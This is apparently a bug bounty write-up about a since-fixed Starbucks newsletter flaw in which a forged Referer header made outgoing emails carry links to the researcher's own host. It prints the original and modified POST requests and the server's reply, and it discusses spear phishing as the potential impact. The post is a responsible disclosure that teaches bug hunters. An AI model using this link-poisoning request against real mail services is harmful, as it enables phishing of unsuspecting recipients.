How I could have launched a spear phishing campaign with Starbucks newsletter signup
Please note that no spear phishing actually took place in the reporting of this bug. Nor do I have plans to launch a spear phishing campaign in the future. The title demonstrates the worst possible scenario. :)
Overcoming "All the bugs have been found" mindset.
One of the biggest mental blocks that prevents new bug hunters from exploring big company's bug bounty programs is thinking that everyone has already found all the vulnerabilies. This is not the case because the foundation of the company's code base is ever evolving. It is true that all the "low hanging fruit" have probably been found, but with creativity there's a good chance your report will be the first.
Initial recon
So there I was as a bug bounty rookie on the frontpage of Starbucks. Pondering "What has nobody tested yet?" Staring me right in the face was the answer, the newsletter signup.
The current signup in the image is slightly different than the one I tested. There was only an email attribute and no zip code. Using Firefox developer tools I started inspecting the POST request that was sent while signing up, I wasn't using Burp Suite too much at that time. Now that I had the following POST request I could start thinking of possible attack vectors.
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.starbucks.com/
X-NewRelic-ID: VQUHVlNSARACV1JSBAIGVA==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: ███████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[email protected]&newsletter_placement=footer
Thinking outside of the box
During this time frame I was tinkering with Host Header Injection. This vulnerability usually isn't a very high threat unless tokens or credentials can be leaked outside of the websites domain via POST request. Even then a valid proof of concept needed to be provided showing the interception of the sensitive information.
I decided to try and change the links in the newsletter email to my own via the referrer header attribute.
The result was the following modified POST request:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://r1otnetsec.herokuapp.com/
X-NewRelic-ID: VQUHVlNSARACV1JSBAIGVA==
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: ███████
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
[email protected]&newsletter_placement=footer
Result:
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
p3p: CP="CAO PSA OUR"
Set-Cookie: ASP.NET_SessionId=███████; domain=.starbucks.com; path=/; secure; HttpOnly
x-newrelic-app-data:
X-Powered-By: ASP.NET
x-frame-options: SAMEORIGIN
Date: Thu, 18 May 2017 02:53:52 GMT
Content-Length: 457
Via: 1.1 sjc1-10
[email protected]&newsletter_placement=footer
I recieved a 200 OK response from the server. The email I recieved from Starbucks validated the vulnerability via the screenshot below.
This vulnerability could send the replaced links in the email content to any recipient of the Starbucks mail server.
Conclusion
The bounty from this bug was $150 and at the time I was very happy with that. However after doing bug bounties for almost 2 years, I think this vulnerability would have cost Starbucks a significant amount in damage control if exploited. One of the easiest ways to esculate privileges is to phish an employee on the internal network. Quoted from The Hacker Playbook 3 "We all know that spear phishing is still one of the more successful avenues of attack. If we don't have any vulnerabilities from the outside, attacking users is the next step."Starbucks intitially fixed this vulnerability by disconnecting the newsletter sign up function. Later I found out this was a case of email link poisoning except via the referrer attribute instead of the host. Example with host header here https://hackerone.com/reports/182670. The moral of the story is to never give up no matter how many people are also hunting on the same bug bounty target. Think outside of the box, be creative, and have fun. My Hackerone report of this bug https://hackerone.com/reports/229498